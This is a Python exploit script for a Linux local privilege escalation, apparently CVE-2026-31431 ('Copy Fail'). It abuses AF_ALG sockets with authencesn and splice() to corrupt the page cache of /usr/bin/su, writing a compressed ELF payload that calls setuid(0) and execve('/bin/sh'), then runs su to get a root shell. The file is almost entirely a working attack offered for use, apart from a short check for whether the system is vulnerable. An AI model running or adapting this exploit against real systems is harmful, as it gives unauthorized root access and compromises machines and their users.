#!/usr/bin/env python3
# 
# CVE-2026-31431 - Copy Fail (ctypes version for older Python)
# Linux Local Privilege Escalation via AF_ALG + splice() + authencesn
# GitHub: @pedromizz <- follow
# GitHub: @pedromizz <- follow
# GitHub: @pedromizz <- follow

import os
import socket
import zlib
import ctypes
import ctypes.util

SOL_ALG = 279
TARGET  = "/usr/bin/su"

# Load libc
libc = ctypes.CDLL(ctypes.util.find_library('c'), use_errno=True)
c_splice = libc.splice
c_splice.argtypes = [ctypes.c_int, ctypes.POINTER(ctypes.c_int64),
                     ctypes.c_int, ctypes.POINTER(ctypes.c_int64),
                     ctypes.c_size_t, ctypes.c_uint]
c_splice.restype = ctypes.c_ssize_t

def splice_ctypes(fd_in, fd_out, length, offset_in=None, offset_out=None):
    """Wrapper for splice() system call"""
    off_in = ctypes.c_int64(0)
    off_out = ctypes.c_int64(0)
    
    result = c_splice(fd_in, None if offset_in is None else ctypes.byref(off_in),
                      fd_out, None if offset_out is None else ctypes.byref(off_out),
                      length, 0)
    
    if result < 0:
        errno = ctypes.get_errno()
        raise OSError(errno, f"splice failed: {os.strerror(errno)}")
    return result

# minimal ELF: setuid(0) + execve("/bin/sh"), zlib compressed
payload = zlib.decompress(bytes.fromhex(
    "78daab77f57163626464800126063b0610af82c101cc7760c0"
    "040e0c160c301d209a154d16999e07e5c1680601086578c0f0"
    "ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcac"
    "fa499979fac5190c0c0c0032c310d3"
))

def write4(fd, offset, data):
    sock = socket.socket(38, 5, 0)
    sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    sock.setsockopt(SOL_ALG, 1, bytes.fromhex("0800010000000010" + "0" * 64))
    sock.setsockopt(SOL_ALG, 5, None, 4)
    req, _ = sock.accept()

    n = offset + 4
    z = bytes(1)
    aad = b"A" * 4 + data

    req.sendmsg([aad], [
        (SOL_ALG, 3, z * 4),
        (SOL_ALG, 2, b"\x10" + z * 19),
        (SOL_ALG, 4, b"\x08" + z * 3),
    ], 0x8000)

    r, w = os.pipe()
    
    # Replace os.splice() calls with ctypes version
    splice_ctypes(fd, w, n, offset_in=offset)
    splice_ctypes(r, req.fileno(), n)

    try:
        req.recv(8 + offset)
    except:
        pass

    os.close(r)
    os.close(w)
    req.close()
    sock.close()

print(f"[*] CVE-2026-31431 - Copy Fail (ctypes version)")
print(f"[*] target: {TARGET}")
print(f"[*] payload: {len(payload)} byte ELF (setuid(0) + execve('/bin/sh'))")

# check if AF_ALG + authencesn is available
try:
    t = socket.socket(38, 5, 0)
    t.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    t.close()
    print("[*] AF_ALG + authencesn available - system is vulnerable")
except Exception as e:
    print(f"[!] not vulnerable - {e}")
    exit(1)

fd = os.open(TARGET, os.O_RDONLY)
print(f"[*] opened {TARGET} (fd={fd})")

chunks = (len(payload) + 3) // 4
for i in range(0, len(payload), 4):
    write4(fd, i, payload[i:i+4])
    print(f"[+] wrote 4 bytes to page cache at offset {i} ({i//4 + 1}/{chunks})")

os.close(fd)
print(f"[*] page cache corrupted. executing {TARGET}...")
os.system(TARGET)
